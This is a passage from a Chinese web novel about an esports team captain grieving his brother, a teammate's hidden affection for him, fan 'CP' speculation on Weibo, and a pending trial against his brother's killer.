“不客气。”游迩摇了摇头。 说起来,他心里对宋星辞还是挺感谢的。最起码,他们仨从小一起长大,宋星辞在顾听心里一定是占特殊位置的存在,失去顾越的痛苦,游迩庆幸宋星辞在顾听的身边。 从了解转变为执念,那时的游迩也只能在网络抨击顾听的黑粉。 明明顾听什么也没做错,甚至做的已经够仁至义尽了,却还是被不堪入耳的话语辱骂,SAB的公关不给力,他便搞了个小号下场。 游迩数不清自己已经被炸掉多少个小号了。 四川是魏寻也的老家,但他不是成都人,家乡在靠近川西,阿坝那边。 本来还想抽点儿时间,他做东道主带队友玩一转儿,成都好玩儿的多,好吃的也多,可季后赛的时间紧张,他们最多只能在成都玩一天。 “等以后有时间了,再来玩儿吧,”顾听收拾着自己的东西,对游迩说,“不过应该是退役后了。” “现役是没有多少的时间。”游迩刨着手机,下单了几杯奶茶和西点。 他们俩住一个房间。 先开始分配房间是游迩和陈述,魏寻也和顾听,彭于渺一个人一间房。游迩嫌陈述晚上睡觉磨牙,申请换房。 陈述懵逼:“我磨牙吗?我怎么不知道。” “他磨牙你嫌吵,我就不嫌吵了?”魏寻也当然是不愿意换的了,顾听见状,主动说他跟陈述一起睡。 魏寻也不想和游迩换,但也不愿意委屈了顾听,还是答应了,“算了算了,只要晚上他敢磨牙,我一脚踹醒他。” 结果睡了几晚,魏寻也睡得很香,根本没听见一点儿杂音。 “小迩有什么特别想去的地方吗?”顾听问。 “很多,一个人的话想把中国环游个遍吧,”游迩说,“但是特别特别想去的地方,我” 他欲言又止。 “怎么了?”顾听把衣服搁进箱子里,察觉他话语停顿,问。 “我只有和我自己在意的人,才有特别想去地方的欲望。”游迩看着顾听说。 那眼神,让顾听想起来一些画面,譬如他和游迩第二次见面,在赛场的时候,灰色瞳仁好像烈火灼热。 顾听移开视线,笑了笑,“这样啊,感觉好有意义。” “比如,挪威,”游迩向顾听走近,他个子高一些,弯了弯腰,嗓音低磁平缓,“哥知道这个地方看极光特别美吗,还有中国最北边的漠河,也能看到极光。” 顾听没听出游迩那话语中饱含的异样情感,只当是找到和自己同频的人,他开心地弯起唇角,桃花眼上挑,“当然知道了。” “以后,我带你去。”游迩说。 顾听没犹豫地答应,“行叭。” “只有我们两个人。”游迩又说。 顾听点点头,“也行。” 确定顾听真没听出来什么,游迩叹了口气,“哥真是卡皮巴拉啊。” “嗯?”顾听打算推开浴室门洗澡,脚步顿在门口,转头回望游迩。 “是不是别人喜欢你向你告白你也说行吧?”游迩无奈地问。 “那不行,”顾听双手比×,“还是要有原则的。” 得,有原则的一只卡皮巴拉。 没太看出来。 浴室传来哗哗的水流声,顾听修长瘦削的身影在玻璃面上显得雾弥朦胧,游迩双手撑在膝盖,灰眸一眨不眨地盯着浴室,似要凿出洞来。 手机叮铃一声响,他捞过看了眼。 是老爸那边的人替他所查谢澜光杀害顾越事件的详细资料以及下一步该走的计划,游迩看得仔细,连顾听何时出来的也不知道。 “小迩?”顾听喊了他一声儿。 游迩这才抬起头,试图扯出笑容掩盖看资料压平嘴角的唇线,但实在笑不出来,再看到顾听那张脸时,只觉愈发心疼。他捏紧手机的手指松了松,站起身开口,“刚才点了几杯奶茶和甜品,麻烦哥留意下,我去洗澡了。” “噢好的。”顾听愣愣地点头,觉着游迩不对劲,又说不上来哪里不对劲。 他头发吹到一半,游迩搁在床上的手机铃声就响了。顾听关闭吹风机接听,外卖小哥跟他确认房间号。 “嗯是,我马上开门。”顾听刚挂断电话,手机冷不丁弹出来几条微博消息,他手一滑,竟然切换到了微博里面去。 尽管就是这一眼,顾听看清楚了,发过来这条评论的人是在辱骂游迩,并且,还带上了他的大名儿- @L初见68756:顾听这废物还有脸皮待在SAB,要我我就跳了,你这条狗这么听话你家主子知道吗? 顾听蹙眉,指尖又一滑,跳转到微博个人主页,恍惚间,乱码id映入他的眼帘,当他还想再看清楚一点儿时,房间门被外卖小哥敲响,催促他去开门了。他没关闭手机,保持微博界面开门拿外卖,游迩点的东西很多,队友人手一杯奶茶和西点。 他全部提着放到了桌子上,脑子里惦记游迩那件事儿,刚抬手垂睫去看手机,游迩赤|裸上半身,脖颈搭了一根毛巾走出浴室门。 第30章 第 30 章 小听,谢澜光…… 顾听吓了一跳, 有种刚做坏事但恰好被正主撞见的尴尬。他这会儿拿游迩手机的动作,就好像拿他自己手机一样自然。 “额那个,外卖到了, 打电话我接来着。”顾听笑了笑, 解释说,随即呈抛物线形状将手机扔在了床上,仿佛烫手山芋。 游迩没在意,单手揉搓头发, “谢谢哥了, 我去给他们送。” 他刚套上T恤,顾听提着奶茶和甜品出门,“我去吧。” 游迩疑虑的视线从顾听的背影缓缓落到手机上,黑色屏幕倒映他深邃五官, 透露出犀利锋芒。又是连绵不断地“咚”声,屏幕照亮,微博弹出的评论让他的心一沉。 时间得追溯到去年KWC, SAB在柏林惜败回国的那段日子,营销号节奏带的起飞, 而评论区几乎都有他的影子。 没曾想过去都快半年的时间了, 一些他的评论被举报掉了,一些还幸存的竟然会被人追到今天骂。 他微博登录的小号,乱码id,难怪顾听刚刚有些不自然,难道他发现了?但转念一想, 如果发现了,不应该来质问他么? 游迩很快轻松了。 像顾听迟钝的反应,能想到什么。 游迩的司马昭之心顾听不知道, 却被游迩的粉丝看得明明白白。竞圈的粉丝敏感,正主稍微有一点儿动静都会被无限放大,尤其是比较爱磕cp的粉丝,当喷子喷你家哥哥是gay时,粉丝坦然点头:谢谢你的祝福! 圈内磕的最多的还是双顾,其次就是听也,再不济顾听和他的榜一大粉688哥,热度丝毫不逊色前俩,只不过因为不是在电竞选手圈里,所以没将688哥列为其中。这次季后赛游迩掏出一手凯尔特,配合顾听的希瓦,粉丝磕疯了。 这样的局面不算坏迹象,官方巴不得粉丝磕的风生水起,热度有了,cp粉氪金和战斗力都强,官方坐收渔翁之利。 不过这个磕点,还是要不经意间才好看,故意制造硬糖难以下咽,一夜间,顾听和游迩的cp粉持续上升,甚至连cp名儿都给他俩取好了。 第二天,两人喜提热搜,位置稍微靠后,却依旧引人注目。 “队长,你和游迩上热搜了。”陈述坐在大巴车上刷手机冲浪,没控制住嗓门说。他语气震惊还带着不可思议,让平常不怎么关注那些七七八八事件的顾听引起了注意。 最主要地,是他和游迩一起上了热搜,而不是他一个人。 “怎么会上热搜呢,”顾听开玩笑说,“觉得我和小迩上场发挥太好,夸我们么?” “不是呢,”彭于渺接茬笑着说,“磕你俩cp呢。” “什么叫cp?”顾听一愣。 他真不懂这玩意儿,有时候开直播弹幕上会飘出这种类似的话术,偶尔也会从队友口中听到,他从来没了解过,cp到底是什么意思,自顾自的以为是二次元的话。 “你真不懂还是假不懂啊队长,”陈述说,“简而言之,就是你和游迩在谈恋爱!” 陈述说得太过直白,顾听瞪大了眼,满脸错愕和惊然。 游迩在他身旁,没有接言,将顾听生动的表情悉数收进眼底,单手握拳抵在唇边,企图掩饰那难以压制的嘴角。 “啊,是这种意思啊。”顾听呐呐道,全是不解,困惑他多久的话术终于在今天破了案,但还是超出他了认知范畴。 “我和游迩没谈,他们这不算造谣吗?”顾听非常认真地问,随后转头看着游迩,“小迩,他们造谣我们,男生和男生怎么可能谈恋爱呢。” 见顾听当真了,游迩清嗓解释(虽然他并不是很想解释),“哥,网上的意思是,我们俩很像谈恋爱,就那种感觉你懂吗,不是说我俩是真情侣。” “他们知道自己磕的队长左位其实是什么都不懂的卡哇伊吗。”陈述偷摸对魏寻也说。 “刻板印象了啊,”彭于渺耳尖地听见他的话,“卡哇1也是1。” “假的那就随便他们怎么说吧。”顾听说,点进词条,闯入眼帘的刚好是一个红v博主,发的内容让他吸了睛- @春风吹明月又生:给大家再放个磕点吧!p1是常规赛Ear还没有转会到SAB的那一场比赛,友谊握手的时候他小子恨不得把视线就黏在Listen身上了!他们俩的名字也很有羁绊啊,听和耳,老太奶这纯粹是在按头我磕啊啊啊啊啊啊!(ps:一个小彩蛋,众所周知Listen的榜一大佬ip曾经在美国,游迩也是美籍华人,但榜一不知道是回国了还是什么,ip变成了上海,游迩的ip也变了!) 顾听点进p9,果然,这个红V发的截图拼接,游迩的大号微博与乱码的ip地址在同一时间同一地点,一模一样。 因为就这一条红V占领前排,其原因是她的评论区已经被几方粉丝冲的乌烟瘴气了- cp粉死一边儿去,我哥没那么舔狗哈,ip也能鉴人给我看笑了,世界那么大,美国和上海的ip多了去了,带你爹的节奏呢??- 博主你磕他俩cp就磕,怎么我688哥的人设被你偷走挪用了?请你不要到处偷偷好吗?- 谢邀,不要再拉我家小卡的瓜了,这次又打算怎么ooc我哥哥的人设?人美遭狗妒我懂,请多关注我哥的决赛舞台!- 这次cp粉还真不是乱磕,就算不能随便鉴ip,但时间线难道也是巧合?说不准Ear真是Listen的榜一大佬哦。 网上众说纷纭,真真假假,顾听权当看个笑话打发时间,可这次这个红V大博主与评论区好像是要揭开某件神秘面纱。 “那如果是真的呢?”青年低磁沉缓的声音进入顾听的耳膜,猛地打断了他思绪。 他红唇微张,怔喃地看着游迩,对上那双灰色眸子。 “什么”顾听喉结滚动,“真的?” 那眼神太过于灼烫,顾听抿了抿唇,一想到刚才过脑的图片,就乱得很。他没等游迩回答,便自己开口轻声说出心中所想,“两个都是男生,怎么可能谈恋爱呢。” 游迩扯出一抹笑,车窗外的阳光刺眼,他叹了口气说,在顾听听来就是没头没脑的一句,“任重而道远啊。” cp顾听不知道,但同性恋他是知道的。 曾经有一回,他哥在场馆外给粉丝签名,那些粉丝会给他们这些电竞选手小礼物,因为有明确规定,太贵重的他们是不能收的,所以大多数都是信纸和周边,要么就是手工玩偶和挂件儿。 顾越收到一位来自男粉丝的玩偶,两个,其中一个男粉做的是顾听。他很清楚顾越对什么最不会拒绝,尤其是关于顾听的一切,顾越觉得男粉做的特可爱,当着众多粉丝的面儿答谢,“兄弟,你手这么巧,我很喜欢哦。” 谁知,拿回基地,领队留了个心眼儿,除开信纸和周边,玩偶都被检查了个遍,最终在那两只玩偶的身体里面,发现了微型摄像头。 “以后别再收这些东西了,”老韩说,“我走过的桥比你们走过的路还多。” 顾越瞠目结舌,没想到男粉竟然是一个死变态! 若他真把玩偶放进卧室,他生活的所有一举一动,都在监视当中,毫无隐私可言。这一事件给了选手们警醒,顾越专门发了条微博痛斥男粉丝,并公开表明以后不会再收任何礼物。 那段时间,顾越恶心得不行,旁观者顾听也受到了一定的影响。男粉这样做,无非是同性恋喜欢他哥,否则不会把摄像头装进玩偶里。 顾听当然知道不能以偏概全,可一旦事情有了前科,就很难再改变脑海中的印象了。 “想什么呢,”顾越伸出手在顾听眼前晃悠,“这次比赛表现很不错哦小听,哎,周栖梧表情是不是特难看?哈哈哈那小子就缺人搓他锐气。” “没想什么,”顾听摇摇头,“栖梧哥表情还好,你不是在现场吗?” 顾越倒在床上,一顿,“对,我在现场,给你加油呢。” 顾听听见这话,眼睫颤动,“哥,你知道么,下个月就要开庭了。” “开庭?小听要打官司吗?起诉谁?”顾越三连问,又倏地站起身来义愤填膺,“营销号又乱造谣?呵,这年头,造谣全靠一张嘴,他们的流量太大了,很多不明所以的人一起跟风,网络暴力轻而易举的就能毁掉一个人——” “不是,是谢澜光。”顾听深吸一口气打断他哥的话,“我也不清楚到底能不能赢,也不清楚他会不会判决死刑,啊,其实我看了材料,缺少硬性条件,他家里的人给他兜底了吧,裴律告诉我赢得几率不大,但我很想试一试。” “很想试一试。”他又重复说。 “小听,谢澜光是谁?”顾越茫然地问。 顾听看向床位,空荡荡的,什么也没有。《 》 30-40 第31章 第 31 章 游戏胜利。 下个月也正好是总决赛月。说来也真是巧, 开庭和决赛撞在了一起,能不能实现那句“双喜临门”,顾听感到惶恐, 也有点累。 大半年过去了, 在KWC上的失误,对他空降SAB队长位置的辱骂和质疑随着时间逐流,渐渐消失匿迹。顾越从前身为队长,带领SAB打了两年的比赛, 战绩风光无限, 但是就那么猝不及防地离开,顾听接手后,曾经何时他真的快要顶不住压力。 如果时光能够倒流,他特别想回到十一二岁那个蝉鸣聒噪的夏天, 他和他哥梦想的起点。 顾听出了卧室,去训练室待了一会儿,而他哥曾经经常训练的电脑被安置在了角落, 他拉开电竞椅坐下,开了机。 这台机子经顾越的手, 无论是内置还是外设全顶配, 可以说在整个SAB上下独一份儿。不过顾越死后,除非他来亲手启机,就没有人再来用了,先前陈述嚷嚷抱怨他那电脑有些卡,嘴快提了一嘴到时候用顾越哥的机子, 却迟于动作。 开机很快,cpu很快发出规律性地低鸣,顾听操控鼠标登录他哥的账号, 时间显示最近登录4月前。 安妮高扎马尾,一身武装作战服倚靠在皮卡上,熟悉的人物语音出声,“嗨伙计,好久不见。” “好久不见。”顾听近乎无声地回。 他用他哥的账号上线,开始排位模式,id依旧是职业号的名称SAB-Cross,战队曾想给顾越注销掉,被顾听强硬地留了下来。 好友位其他战队的成员很多都还在线,估计是在训练,见他上线后,有几位同一时刻朝他弹来消息框。 [HTT-胡辣汤:小听听?] [零域-周栖梧:小子,想你哥啦?] [TXT-周肆:哎妈呀吓我一跳,我以为越哥呢,小听听你干嘛呢!] [SAB-魏寻也:队长你搞什么东东?] 顾听一一回复完,开启游戏。 说实话,他现在顶着他哥的账号玩游戏挺唬人的,已经过去了两个赛季,顾越的段位没怎么掉,顾听前几月还特意稳了稳他哥的巅峰积分,开游戏依旧是高端局。 主播高手云集,他刚进入游戏,他这边的突破手队友便开了麦。 “Cross!Cross是你吗??!”声音激动,带着哭腔。 顾听不知为何,心中动容,鼻尖酸涩,打字回道:不是。 “噢噢噢,抱歉,我”突破手队友已经哭了,一个听起来很年轻的大男生,麦克风透露出来他的嗓音特别伤心难过,还有哽咽,“你是Listen吧,我太激动了,我以为抱歉抱歉。” 顾越的竞粉很多,且全是死忠,死忠到一步进化为毒唯,顾听当上SAB队长后,其中骂他骂得特别惨的一部分粉丝就是他哥的粉。 谁人不喜欢天才,顾越性格自我,他打出来的荣耀同他张扬狂傲的风度并肩,粉丝养成了和他一样,也形成不服输勇往直前的个性。顾越让他们看见另类希望,故他们将他当作信仰。 “没事儿兄弟,”反侵者队友沉重地叹了口气,“谢谢你Listen,谢谢你登录Cross的账号,我们,挺想他的,真的,谢谢。” [SAB-Cross:你们可以认为就是他。] “OKOK,”突破手很快调整好心绪,“Cross好久不见!之前我和你撞车的那一把都能过去一年多了,没想到今天运气好,又撞车了嘿嘿!” 突破手完全把安妮皮下的顾听当成顾越诉说他的寄托,“Cross,这把我拿突破吧,我看你的教程学的,看看教学成果如何?” [SAB-Cross:好。] 这一把是为所有人而编织的梦境。顾听不厌其烦地回复队友的每一句话,以顾越的身份,就好像身临其境般,他就是顾越。 结束之际,四个队友,全是大男生,都哭了,尽管尽力压制着喉咙的哭颤,但一开口便露出原型,话都说不清楚。 “我们真的好想好想你,”男生说不出太煽情的话语,直白简要地表达心中的真理,“我们相信,一切都会变好起来的,无论是SAB,还是Listen,你在我们心里,一直都是那个无畏的天才啊!” 顾听静静地坐在电脑前,侧头看着他哥,唇角勾起一抹浅笑。 “你对他们说,总有一天,我们会再相见。”顾越也咧开白牙,笑得灿烂。 顾听颀长分明的指节敲下键盘:总有一天,我们会再相见。 游迩来到训练室时,顾听已经趴在桌上睡着了。键盘闪烁的采光与蓝屏相交打在顾听熟睡的侧脸,浓黑的长睫覆盖下眼睑,眼皮遮住白日里明亮的神情,看起来恬静自然,浑身卸去了那不得已担当的毅气,整个人放松又自如。 若是可以,游迩想他未曾经历这些,还是那个无忧无虑的少年。 初夏迎来,天气不冷不热,临近凌晨的夜晚,总是会凉的。顾听下楼只穿了一件单薄的卫衣,连队服外套都没穿,游迩怕他着凉,轻脚走了过去将青年从电竞椅上打横抱了起来。 即使顾听骨架高挑,游迩做这个动作轻而易举,尽管他很小心翼翼,怀中的人儿还是迷糊地醒了。 顾听潜意识地以为是他哥,张口轻喊,“哥?” 顾越也曾公主抱过他,有时候他哥有意捉弄他,不背改为抱,还故作打趣说,“弟弟借哥哥练练手,以后结婚好这样抱你嫂子。” 但顾越的下颌线条没这么冷硬锋利,游迩垂低眼睫,看着顾听迷茫的面容。 “哥睡糊涂了么?”他笑了笑说。 “啊”顾听不好意思地眨巴双眼,“是小迩啊。” “继续睡吧,”游迩的声音低得不行,平和沉稳,听起来让人安心,“我带你上楼。” 顾听觉得这会儿身心格外疲惫,便也没管游迩抱着他的姿势了,粉茸的脑袋找了个舒适的位置,游迩宽阔的左肩靠近锁骨的那个地方,顾听闭眼枕在那儿,大脑又开始混沌起来。 唯一能感觉到强劲有力不容忽视的,是游迩的心跳。 游迩步伐稳健,一路抱着顾听拧开卧室的门,将人放上床笫。沾染温暖柔软的被窝,顾听的呼吸变得更沉了,游迩高立身姿站在床边,灰眸收纳青年的身影,落下一句晚安。 “靠靠靠靠!对面是韩国人!”顾越激动地敲击键盘,开了麦,“萨瓦迪卡” 宋星辞给了他脑袋一下,低声吼,“这他妈是泰国语!” 顾越一愣,反应过来哈哈大笑,闭麦清嗓又开麦,“我搞错了,那个啊你啊塞哟~” 顾听坐在地板写着作业,听见他哥没见过大世面的样子再加上那口贵州普通话,没忍住笑出声来。 宋星辞他妈妈给他买了一台新电脑,据说是今年的最新款,趁家里大人都去上班之际,他特意叫双顾来他家来测试,能不能打K,打K的效果如何。 这不测试还好,一测试简直不得了——太他妈的爽啦! 正好赶上KG更新赛季,之前无法跨服匹配,现在只要点国际模式,就能匹配到各国的玩家。但真正玩起来其实国际服并没有想象中的好玩儿,只是听见各国玩家的那个语音调调很有趣,第一把顾越就匹配到了队友是韩国人,结果对方说的他一句话也听不懂,全程牛头不对马嘴的瞎交流。 而就是这么一个平平无奇的夏日下午,在跨越万里距离的另一个国度,彻底改变了某个少年。 “小听,别做作业啦!”顾越起身来拖顾听,“说好出来玩儿的,你怎么能背叛组织呢?” “就是。”宋星辞啃着西瓜,还不忘附和一句。 “背叛?”顾听咂摸这个词儿,冷笑,“我在帮狗写作业。” “哎!”顾越和宋星辞同时响声。 嗯,两只狗。 “阿听,作业那玩意儿不急,你先来试试我的新电脑,”宋星辞搁下西瓜,同顾越合力拽起他,“真的,可有意思了!” 顾听迫于无奈,点头应道,“行行行,你俩先松手,胳膊要断了。” 他被按着坐在电脑椅,该说不说,新电脑的体验感就是不一样,比黑网吧还有他家表哥那台旧电脑好用得多。 “还是国际服?”顾听游戏开进去才看见上方的World标。 “国际服有趣,”顾越说,“我刚刚匹配了一个日本鬼子,小爷我使劲骂他八嘎呀路!” 顾听:“” 就是这一把,顾听匹配到了对面的游迩。 “我去,对面突破是高手!”顾越聚精会神地观战,他这人有一好处,观战归观战,从不特意去指挥人该怎么去打,他感叹了这一声儿过后,全权交给了顾听去操作。 那时候突破打法单一,其核心主观粗暴,为队伍开破口,所以必须打得勇猛,胆子还要够大。顾听平静的心被游迩激起了斗志,整张地图好似独独成为了他俩的斗兽场。 室内开着空调,顾越和宋星辞看得额角噙汗,双手紧紧攥着电脑椅,恨不得把里面的泡沫抓烂。 终于。 顾听杀了游迩18次,而他也被游迩杀了15次。 游戏胜利。 第32章 第 32 章 为什么?因为爱。 这一把可以说是打得酣畅淋漓。 顾越和宋星辞在顾听身后大叫, 迎着胜利的欢呼胳膊揽住他的脖颈。 “太棒了啊小听!”顾越扬声说,手不安分地蹂躏顾听那头浓密柔软的黑发。 “哎,他刚刚说他叫什么来着?”宋星辞反应过来问, “他还要你记住他的名字, 咋,他还想找你报仇不成?哈哈哈哈,那小子居然比我们还中二!” 对面很强。 顾听打KG以来碰到的对手许多,没有那一个能把他压制着打, 除开他哥。尽管这把依旧赢了, 那个美国少年已经被他打崩了,若他的心理素质比顾听再能忍一点,没准儿谁输谁赢还不一定。 “游”顾听脑袋一下宕机,“他说他叫什么来着?” “你问我啊, ”宋星辞说,“我还问你呢!” “嗐,你俩怎么那么经忘, ”顾越说,“游迩, 他说他叫游迩。” 闹钟夺命, 游迩从梦中清醒。 日光从窗户折射进来,刺得他睁不开眼,梦里面,也是如此刺眼的光芒,而拼命想看清楚顾听的脸, 却始终朦胧。 他梦见五年前那一把对局,顾听尚未发育的声带稚嫩清冽,那个时候他俩搁了一个太平洋, 跨国万里,又怎么能看得清楚呢?明明连面都没见过。 梦境惯常会给人造成被美好包裹的幻想,他昨晚就梦见顾听记起来他了,记起来他的名字,那双桃花眼笑意盎然,似春日明媚樱花,甜得醉人。 不想醒来。 游迩盯着蓬勃的睡裤,叹了口气。 “唔,早啊小迩。”顾听嘴里叼着阿姨做的烧麦,含糊不清地对他打招呼。 “哥,早上好。”游迩略微心虚,仿佛他还穿着那条睡裤般,低头不确定地看了眼,是宽松的牛仔裤。 “昨晚谢谢你啦,还要你抱我回卧室,”顾听把分好的早餐搁到他面前,“你该叫醒我的。” “很小的事儿。”游迩喝着牛奶再度掩饰心虚,不止早晨难以忽视的胀疼,还有嘴唇浅尝即止吻在毛绒粉发的触感。 “总之这种情况还有下次,你直接叫醒我就行了。”顾听笑着说。 游迩看他的笑脸,是一点儿也不清楚自己干了什么。 忽上罪恶感。 一队训练时间一般集中在下午,有些时候陈述他们三个训练得晚了,或者直播得晚了,基本不吃早餐,这会儿饭桌只有他们两个人。 顾听之前也不太爱吃早饭,都是被他哥带的。顾越一天到晚的精力很旺盛,永远都用不完似的,他一度很佩服,又担心哪一天他哥的高精力会猝死。现在没有了哥哥,他被带的有些习惯,便很难再改变过来了。 “好。”游迩嘴上应着,心里却又演示了一遍公主抱流程。 “我昨晚梦见你了。”顾听说。 游迩喝粥的调羹儿听见这话,没拿稳,“咚”地一声,心脏跳动的速度加快,随即正式自己的心来,抬起眼睫看着顾听,笑了声,“是吗,那太巧了,我昨晚也梦见哥了。” 顾听眼眸闪烁诧异,“你梦到什么了?我梦见几年前我好像,在KG中撞车过你,好奇妙,其实我也不确定那个人是不是你,但总有一股很强烈的直觉。” “五年前,你开了一把国际服的排位,对不对?”游迩问。 “哎?”顾听一愣。 这件事儿应该说只有他哥和宋星辞知道,过去这么多年,连他的记忆都有些模糊了,游迩怎么会说出如此具体? “然后我不敌,输了。”游迩说得语速很慢,眼神一直观察着顾听的表情,是坐在他面前,真实的,鲜活的顾听。 “你啊,我想起来了!”顾听瞪大桃花眼,满脸惊奇,“居然是你啊小迩。” 比梦还奇妙。他是真不记得当年这把对局了,更不记得游迩的名字,人与人之间的磁场仿佛自带牵引,让他做了那个梦。 要不是游迩主动说出来,他还是不会记起。 “你真来找我‘报仇’了哇?”顾听笑着问。 游迩低头滚了滚喉结,“为什么会是报仇呢?”为什么不会是喜欢呢? “你这么一说,五年前的那把对局我可想起来全部细节了啊,”顾听持续逗人说,“是谁最后咬牙切齿地让我记住他的名字?我哥——”提起顾越,顾听顿了顿,然后又说,“我哥和宋星辞都认为你会来找我‘报仇’呢。” “当时少年心性,的确输得不甘心,”游迩轻笑,“但没到报仇那种地步,因为” 我很喜欢你。 游迩脑海里骤然浮现出顾听所说那句话,两个都是男生,怎么可能谈恋爱呢,强忍止住话语。 “因为什么?”顾听属实好奇。当年和他对局的突破手竟然就是游迩,此刻还成为了他的队友坐在了他的对面,究竟是何种缘分,能促成这样的命运? “以后再告诉哥吧。”游迩克制神情流露出来的感情,说。 顾听本身就是慢性子,哪怕被勾起了好奇心,也不会打破砂锅问到底,兴许某一天,游迩想说就说了,说不定他又会忘记今日的因为什么。他遥想那日情景,感叹,“小迩的突破打得非常好呢。” 这是顾听第二次夸他突破打得好。 世界顶级战队SPD让他破格成为一队首发,还未回国时,外国竞粉都称呼他为“小科尔文”,科尔文,是所有FPS游戏中封神的电竞选手,不单单仅限于KG,而他在KG的成就就是初代世一突,竞粉称游迩为“小科尔文”,可见其含金量。SPD很看好他,想把他打造成一位不被科尔文挂名的电竞选手,游迩就是游迩,但是,游迩17岁时提出转会回国,练出一手反侵。 他美国的朋友Lucas骂他,“你疯了吗?明明再有一年你的名字就会冠名世界,为什么?” 游迩淡然回,“不为什么。” 后来Lucas才知道,游迩从Youer改名Ear,从SPD转会回国到UNP,终于等来少年渴望的机会,如愿以偿成为那位叫Listen的队友。 为什么?因为爱。 平平无奇的早晨,一如几年前平平无奇的下午一样。顾听忘记了他也无所谓,游迩没有感觉到愤怒,没有感觉到失望,这么多年过去了,人家凭什么记得你呢。而他今天重新提起,只不过是想让顾听加深他的印象罢了。 他想得到的从来都不会放手,无论是在打电竞这条路上,还是为了某一个人,小时候他妈妈不止一次让他改一改争强好胜的性格,他听了无数遍,从未想过改。 “哥,不止突破,”游迩低着嗓子说,“反侵这个位置,我会一直做你后背最坚硬的护盾。” 顾听听完,有些怔然,面对青年灼热炽烈的视线,他竟坚持不了对视,率先移开目光。 他唇角轻扬弧度,回道,“行。” 时间过得很快,总决赛如期进行,与之角逐春季总决赛冠军杯的两支队伍上海电子竞技俱乐部SAB和长沙电子竞技俱乐部TXT。 而SAB在春季赛中的积分一骑绝尘,此次站上决赛场的TXT都比它低上十分,只因TXT是从败者组里面一路杀上来的,所有人都以为最终对决的是UNP又或者零域,没想到UNP都没能打赢TXT。 开赛头晚,老韩在训练室专门调侃了句,“嘿,这不能和他们打训练赛啊,一打就会在决赛碰头。” 和TXT打训练赛已经是几个月前的事儿了,提出来这个要求的还是对面的领队,本来是想让他们战队新挑选出来的一队成员练手。电竞俱乐部中,SAB与TXT算是友谊联盟,关系比较好的那种,所以打训练赛无伤大雅。 “还记得TXT的谈臻和江津吗?当初训练赛的感觉还在啵?”老韩问。 “在个大鸡蛋啊韩队,这都过去多久了。”陈述嘴快地回。 魏寻也扶额,想捂住他嘴巴都拦不住。 老韩中气十足地吼,“陈述,在什么?!” “大鸡蛋又不是骂人的话”陈述嘟囔地说,瞥见老韩铁青的面容,他双手合掌举过头顶,“我说错了韩队!” 顾听安抚性地捏捏陈述的肩,岔开话题,“虽然时间过去几月了,但好像依稀记得那么一点儿,谈臻前战队是在星核,他的协防能力比句号要差些,不过他的心思很缜密,听说作战术计划比周肆还要稳健,所以句号不要轻敌,况且他之前打过反侵者的位置,所以——” 他看向游迩,弯眼,“我猜这次他们肯定会让谈臻协防反侵两个位置换着打,小迩,看你的了哦。” 游迩依然被他的笑容晃了神,应道,“嗯。” “江津我有印象,他和我同一个位置,”彭于渺摩挲下颌沉思,“狙位很准,不会轻易甩狙,比较稳重,估计这几月的训练中,他的实力又增强了,毕竟是新苗子呢。” 但对于顾听来说,这个月不止是决赛的来临,还有谢澜光的开庭。 第33章 第 33 章 老爸给顾听打了个视频。…… 老爸给顾听打了个视频。 他没在安顺老家, 依旧跟着舅舅在外面跑生意,上海这边儿的天都已经黑得差不多了,新疆那边儿还亮堂着。 其实以顾听现在的收入, 能够支撑起家庭的开支, 他每月会往家里打钱,就是不知道老妈用没用。父母未到退休的年龄,顾越还没去世的时候,双顾的商业价值很高, 尽管这样, 老妈收到他们的钱只会说我帮你俩存着,以后结婚用。 顾听看着视频镜头里的老爸,脸上沟壑较比过年更加深邃了些,似乎又晒黑了, 听嗓门儿精气神十足,“儿子,又要比赛了?” “是的老爸, ”顾听接到视频,心里就一直思量盘旋, 到底要不要给老爸说开庭的事儿, 他关切地问,“你吃饭没?那边儿你还习惯吗?” 过完年后,老爸就在广东出差,骤然跑到新疆,顾听真担心他身体受不住。但是老爸就想让自己忙起来, 顾听也知道,只有忙碌才会控制不去想那件事儿。 “吃了,今天忙了一天, 还行吧,就是这个时差啊,稍微有点儿没适应,不过馕是真的好吃哈哈哈哈哈”老爸和他随意唠着嗑,让他比赛平常心发挥,不要紧张,和嘱咐他考试时的话语没有不同。 “嗯,你要是实在呆不惯那边,就别硬撑了,”顾听叹了口气,“年龄上去了,要注意点儿自己的身体。” “我有分寸,你别光担心我,我倒是看你又瘦了,”老爸说,“咋了,基地的饭不好吃吗,你妈寄给你的辣椒酱吃完没,吃完了我叫她再给你寄几罐?” “还没呢,我挺好的。”顾听低声说。 “真的吗?”老爸顿了顿,声音轻缓,“不要什么事情都想着自己揽,儿子,无论发生什么,结果怎么样,也不要憋着,我和你妈支持你的所有决定,但前提是你开心。” 顾听瞳仁轻颤,喃喃,“爸爸” “加油儿子,我相信你!”老爸在镜头前举着自己的单臂,大声说。 顾听舒展笑容,突然觉得就算前方再有困难,他也不怕了。 微信上弹来裴律的消息- 裴律:专心比赛,后续整理事宜交给我,开庭你只需要出场就行- 裴律:加油。 顾听笑了笑,回复道:收到!谢谢裴律QvQ 距离下一次KWC又是多久呢?顾听计算着时间。新的一年已经过半,常规赛、季后赛、总决赛,SAB次次积分领先第一,他心里的执念除开谢澜光的死,还有什么呢? 他哥未能拿下的大满贯。 距离下一次的KWC还有六个月的时间。 过往的每一场被他拷进大脑中的U盘里,不停地翻出来复盘、循环,形成大电影一幕幕呈现在他的视网膜中。 他最初的执念,是成为世界第一突破手; 后来他发现,他超越不了他哥,所以改变为他会在大众的观战下打败他哥; 最终,这两样他一个都没有完成,又改变成他要完成他哥未实现的遗憾。 高强度的训练负荷,顾越的手伤已经很严重了。电竞选手的手有毛病正常,归结于个人体质和训练方式问题,顾越六岁时右手手腕儿骨折了一次,陈疾难愈,所以他的腱鞘炎日复一日,比其他人要严重得多,打了将近十年的游戏,医生说他再打下去右手会废。 20岁这年,他打算坚持,拿一个大满贯送给自己,然后光荣退役,却倒在暴风雨来临的血泊之中,永远也醒不过来。 场馆依旧人满为患,欢呼声齐天,竞粉拉的应援横幅一个比一个长。SAB和TXT的大巴同时抵达,这让保安维持秩序的难度提高很多,有粉丝趁保安不注意,直接从警戒线下面钻了过去,直直扑向顾听。 眼见那粉丝就要触碰到顾听的衣角,游迩眼疾手快,长臂揽着顾听的肩将他往自己身前一带,粉丝扑了个空,摔倒在地。 “哎——”顾听下意识地伸手去扶,但仍然被游迩攥着手腕儿,摔倒的动静引起了保安的注意,将那粉丝提溜出去。 粉丝并不觉得丢脸,反而大声喊,“小卡决赛加油!” 